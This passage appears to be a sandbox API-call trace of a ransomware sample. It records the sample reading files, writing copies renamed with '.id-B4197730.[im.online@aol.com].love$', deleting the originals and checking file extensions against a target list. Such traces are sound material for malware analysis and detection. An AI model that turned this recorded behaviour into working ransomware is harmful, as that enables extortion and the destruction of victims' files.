dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0102.862] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3683) returned 1 [0102.862] CloseHandle (hObject=0x318) returned 1 [0102.895] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0102.895] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0102.896] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.896] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0102.977] GetLastError () returned 0x0 [0102.977] ReadFile (in: hFile=0x318, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xe63, lpOverlapped=0x0) returned 1 [0102.980] WriteFile (in: hFile=0x350, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xe70, lpOverlapped=0x0) returned 1 [0102.982] ReadFile (in: hFile=0x318, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.982] WriteFile (in: hFile=0x350, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.982] SetEndOfFile (hFile=0x350) returned 1 [0102.982] CloseHandle (hObject=0x350) returned 1 [0102.983] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.983] SetEndOfFile (hFile=0x318) returned 1 [0102.984] CloseHandle (hObject=0x318) returned 1 [0102.984] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.984] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0102.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.985] lstrlenW (lpString=".doc") returned 4 [0102.985] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.985] lstrlenW (lpString=".docx") returned 5 [0102.985] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.985] lstrlenW (lpString=".pdf") returned 4 [0102.985] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.985] lstrlenW (lpString=".xls") returned 4 [0102.985] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.985] lstrlenW (lpString=".xlsx") returned 5 [0102.985] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.985] lstrlenW (lpString=".ppt") returned 4 [0102.985] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.985] lstrlenW (lpString=".zip") returned 4 [0102.985] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.985] lstrlenW (lpString=".rar") returned 4 [0102.985] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.985] lstrlenW (lpString=".bz2") returned 4 [0102.985] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.985] lstrlenW (lpString=".7z") returned 3 [0102.985] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.986] lstrlenW (lpString=".dbf") returned 4 [0102.986] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.986] lstrlenW (lpString=".1cd") returned 4 [0102.986] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.986] lstrlenW (lpString=".jpg") returned 4 [0102.986] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.986] lstrlenW (lpString=".doc") returned 4 [0102.986] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.986] lstrlenW (lpString=".docx") returned 5 [0102.986] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.986] lstrlenW (lpString=".pdf") returned 4 [0102.986] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.986] lstrlenW (lpString=".xls") returned 4 [0102.986] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.986] lstrlenW (lpString=".xlsx") returned 5 [0102.986] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.986] lstrlenW (lpString=".ppt") returned 4 [0102.986] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.986] lstrlenW (lpString=".zip") returned 4 [0102.986] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.986] lstrlenW (lpString=".rar") returned 4 [0102.986] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.987] lstrlenW (lpString=".bz2") returned 4 [0102.987] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.987] lstrlenW (lpString=".7z") returned 3 [0102.987] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.987] lstrlenW (lpString=".dbf") returned 4 [0102.987] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.987] lstrlenW (lpString=".1cd") returned 4 [0102.987] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0102.987] lstrlenW (lpString=".jpg") returned 4 [0102.987] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.987] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0102.987] lstrlenW (lpString="eula.rtf") returned 8 [0102.987] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0102.987] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3859) returned 1 [0102.988] CloseHandle (hObject=0x318) returned 1 [0102.988] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0102.988] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0102.988] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.988] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0102.988] GetLastError () returned 0x0 [0102.988] ReadFile (in: hFile=0x318, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xf13, lpOverlapped=0x0) returned 1 [0102.990] WriteFile (in: hFile=0x350, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xf20, lpOverlapped=0x0) returned 1 [0102.992] ReadFile (in: hFile=0x318, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.992] WriteFile (in: hFile=0x350, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.992] SetEndOfFile (hFile=0x350) returned 1 [0102.992] CloseHandle (hObject=0x350) returned 1 [0102.993] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.993] SetEndOfFile (hFile=0x318) returned 1 [0102.994] CloseHandle (hObject=0x318) returned 1 [0102.994] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.995] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0102.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.995] lstrlenW (lpString=".doc") returned 4 [0102.995] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.995] lstrlenW (lpString=".docx") returned 5 [0102.995] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.995] lstrlenW (lpString=".pdf") returned 4 [0102.995] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.995] lstrlenW (lpString=".xls") returned 4 [0102.995] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.995] lstrlenW (lpString=".xlsx") returned 5 [0102.995] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.995] lstrlenW (lpString=".ppt") returned 4 [0102.995] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.995] lstrlenW (lpString=".zip") returned 4 [0102.995] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.995] lstrlenW (lpString=".rar") returned 4 [0102.995] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.995] lstrlenW (lpString=".bz2") returned 4 [0102.996] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.996] lstrlenW (lpString=".7z") returned 3 [0102.996] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.996] lstrlenW (lpString=".dbf") returned 4 [0102.996] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.996] lstrlenW (lpString=".1cd") returned 4 [0102.996] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.996] lstrlenW (lpString=".jpg") returned 4 [0102.996] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.996] lstrlenW (lpString=".doc") returned 4 [0102.996] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.996] lstrlenW (lpString=".docx") returned 5 [0102.996] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.996] lstrlenW (lpString=".pdf") returned 4 [0102.996] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.996] lstrlenW (lpString=".xls") returned 4 [0102.996] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.996] lstrlenW (lpString=".xlsx") returned 5 [0102.996] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.996] lstrlenW (lpString=".ppt") returned 4 [0102.996] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.996] lstrlenW (lpString=".zip") returned 4 [0102.997] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.997] lstrlenW (lpString=".rar") returned 4 [0102.997] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.997] lstrlenW (lpString=".bz2") returned 4 [0102.997] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.997] lstrlenW (lpString=".7z") returned 3 [0102.997] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.997] lstrlenW (lpString=".dbf") returned 4 [0102.997] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.997] lstrlenW (lpString=".1cd") returned 4 [0102.997] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0102.997] lstrlenW (lpString=".jpg") returned 4 [0102.997] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.997] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0102.997] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.997] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0102.998] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=76818) returned 1 [0102.998] CloseHandle (hObject=0x318) returned 1 [0102.998] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0102.998] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.998] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0102.998] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.998] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.998] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0102.999] GetLastError () returned 0x0 [0102.999] ReadFile (in: hFile=0x318, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x12c12, lpOverlapped=0x0) returned 1 [0103.003] WriteFile (in: hFile=0x350, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x12c20, lpOverlapped=0x0) returned 1 [0103.006] ReadFile (in: hFile=0x318, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.006] WriteFile (in: hFile=0x350, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.006] SetEndOfFile (hFile=0x350) returned 1 [0103.006] CloseHandle (hObject=0x350) returned 1 [0103.692] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.692] SetEndOfFile (hFile=0x318) returned 1 [0103.694] CloseHandle (hObject=0x318) returned 1 [0103.694] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.695] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0103.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.695] lstrlenW (lpString=".doc") returned 4 [0103.709] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.709] lstrlenW (lpString=".docx") returned 5 [0103.709] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.709] lstrlenW (lpString=".pdf") returned 4 [0103.709] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.709] lstrlenW (lpString=".xls") returned 4 [0103.709] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.710] lstrlenW (lpString=".xlsx") returned 5 [0103.710] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.710] lstrlenW (lpString=".ppt") returned 4 [0103.710] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.710] lstrlenW (lpString=".zip") returned 4 [0103.710] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.710] lstrlenW (lpString=".rar") returned 4 [0103.710] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.710] lstrlenW (lpString=".bz2") returned 4 [0103.710] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.719] lstrlenW (lpString=".7z") returned 3 [0103.719] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.719] lstrlenW (lpString=".dbf") returned 4 [0103.720] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.720] lstrlenW (lpString=".1cd") returned 4 [0103.720] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.744] lstrlenW (lpString=".jpg") returned 4 [0103.744] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.745] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.745] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.745] lstrlenW (lpString=".doc") returned 4 [0103.745] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.745] lstrlenW (lpString=".docx") returned 5 [0103.745] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.745] lstrlenW (lpString=".pdf") returned 4 [0103.745] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.745] lstrlenW (lpString=".xls") returned 4 [0103.745] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.745] lstrlenW (lpString=".xlsx") returned 5 [0103.745] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.745] lstrlenW (lpString=".ppt") returned 4 [0103.745] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.745] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.745] lstrlenW (lpString=".zip") returned 4 [0103.745] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.745] lstrlenW (lpString=".rar") returned 4 [0103.745] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.745] lstrlenW (lpString=".bz2") returned 4 [0103.745] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.745] lstrlenW (lpString=".7z") returned 3 [0103.745] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.745] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.745] lstrlenW (lpString=".dbf") returned 4 [0103.745] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.746] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.746] lstrlenW (lpString=".1cd") returned 4 [0103.746] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.746] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.746] lstrlenW (lpString=".jpg") returned 4 [0103.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.746] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0103.746] lstrlenW (lpString="UiInfo.xml") returned 10 [0103.746] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0103.747] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=39042) returned 1 [0103.748] CloseHandle (hObject=0x354) returned 1 [0103.748] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0103.748] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.748] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0103.748] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.748] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.748] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0103.751] GetLastError () returned 0x0 [0103.751] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x9882, lpOverlapped=0x0) returned 1 [0103.758] WriteFile (in: hFile=0x318, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x9890, lpOverlapped=0x0) returned 1 [0103.760] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.760] WriteFile (in: hFile=0x318, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xe8, lpOverlapped=0x0) returned 1 [0103.760] SetEndOfFile (hFile=0x318) returned 1 [0103.761] CloseHandle (hObject=0x318) returned 1 [0103.763] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | 